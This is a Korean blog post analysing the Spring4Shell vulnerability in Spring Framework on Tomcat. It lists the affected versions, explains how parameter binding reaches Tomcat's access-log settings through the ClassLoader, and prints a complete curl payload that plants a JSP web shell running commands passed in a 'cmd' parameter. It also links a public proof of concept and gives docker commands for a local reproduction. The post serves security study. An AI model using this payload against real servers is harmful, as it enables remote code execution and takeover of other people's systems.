취약점 발현을 위한 조건
JAVA | JDK 9+ |
Spring Framework | 5.3.17 및 5.2.19 이하 버전의 Spring Framework (.war 방식 패키징 ,(.jar X)) SpringMVC 종속성 |
Apache Tomcat | 8.5.77 이하, 9.0.61 이하 및 10.0.19 이하 버전 (외장 톰캣 사용) |
매개변수 | POJO 방식의 처리 환경 |
SpringMVC
Model, View, Controller 세 구성요소를 사용해 사용에 대한 응답을 처리하는 디자인 패턴
POJO
특정 기술에 종속되어 있지 않은 순수 자바 객체. getter, setter 보유
public class SiteUser {
/*사용자 아이디*/
@Id
private long id;
private String content;
private String username;
private String password;
private String email;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
}
Spring 4 shell
해당 취약점은 ClassLoader 과 그것을 불러올 수 있는 Module 에 의해 발생한다.
이미 이전에, classLoader을 활용한 취약점이 존재 했었었고 패치 되었으나, JDK 9+ 에서 Module 기능이 추가되어 다시금 발생하게 되었다.
사용자가 매개변수를 POJO에 바인딩 할때 Object가 반환되며, 이때 class가 노출.
classloader을 사용할 수 있게 되며, 로그 관련 클래스(AccessLogValve)에 접근 할 수 있다.
Payload
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7
-POC https://github.com/reznok/Spring4Shell-POC
굉장히 복잡해 보이지만 순서대로 뜯어보면 별것 아니다.
class.module.classLoader.resources.context.parent.pipeline.first.pattern=(웹쉘 코드)
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
payload는 위의 형태를 띄고 있는데,
class.module.classLoader.resources.context.parent.pipeline.first 의 형태를 공유하는 것을 알 수 있다.
또한 pattern, suffix, directory, prefix, fileDateFormat 이 각각 의미하는것을 아파치 톰켓 공식 페이지에서 확인할수 있었다.
pattern | 패턴 속성의 값은 리터럴 텍스트 문자열과 "%" 문자로 접두사가 붙은 패턴 식별자와 결합되어 현재 요청 및 응답의 해당 변수 값으로 대체됩니다. |
suffix | 각 로그 파일 이름 끝에 추가된 접미사입니다. 지정하지 않으면 기본값은 ""(0 길이 문자열)이며, 이는 접미사가 추가되지 않음을 의미합니다 |
directory | 로그 파일이 저장될 디렉터리의 절대 또는 상대 경로 이름입니다. 상대 경로가 지정된 경우 $CATALINA_BASE에 상대 경로로 해석됩니다. 디렉토리 속성을 지정하지 않으면 기본값은 "logs"($CATALINA_BASE에 상대적)입니다. |
prefix | 각 로그 파일 이름의 시작에 추가된 접두사입니다. 지정하지 않으면 기본값은 "access_log"입니다. |
fileDateFormat | 액세스 로그 파일 이름에 사용자 지정된 타임스탬프를 허용합니다. 기본값은 .yyy-MM-dd입니다. 매 시간 로테이션 하려면 이 값을 .yyy-MM-dd로 설정하십시오. |
-https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Log_Valve/Attributes 번역
결국 Payload에 따르면 shell.jsp에 웹쉘을 생성하여 cmd 명령어로 조작하게 한다는 뜻이된다.
재현
https://github.com/reznok/Spring4Shell-POC
$git clone https://github.com/reznok/Spring4Shell-POC
$docker build . spring4shell && docker run -p 8080:8080 spring4shell
결국, 해당 취약점에 사용된 Payload 는 JDK9+ 에서의 Module을 통해 ClassLoader을 호출하고 있으며,
ClassLoader에서 log저장 설정을 변경하기 위해 로그 관련 클래스(AccessLogValve)에 접근한다.
AccessLogValve의 값을 임의로 조작하여 webshell을 생성, rce 가 가능하게 된것이다.
'Web > Java, Kotlin' 카테고리의 다른 글
[Spring View Manipulation] 타임리프(Thymeleaf) SSTI 취약점 (0) | 2024.08.23 |
---|---|
[Android] Glide 이미지 재로딩시 실패 오류 해결 (0) | 2023.10.11 |
[Android / Kotlin] Recyclerview + data binding 데이터 값에 따른 이미지 출력 여부 결정 (0) | 2023.09.19 |
타임리프(Thymeleaf) 템플릿 엔진 알아보기(1) - 조건문,반복문,기본 문법, 사용법 (0) | 2023.03.10 |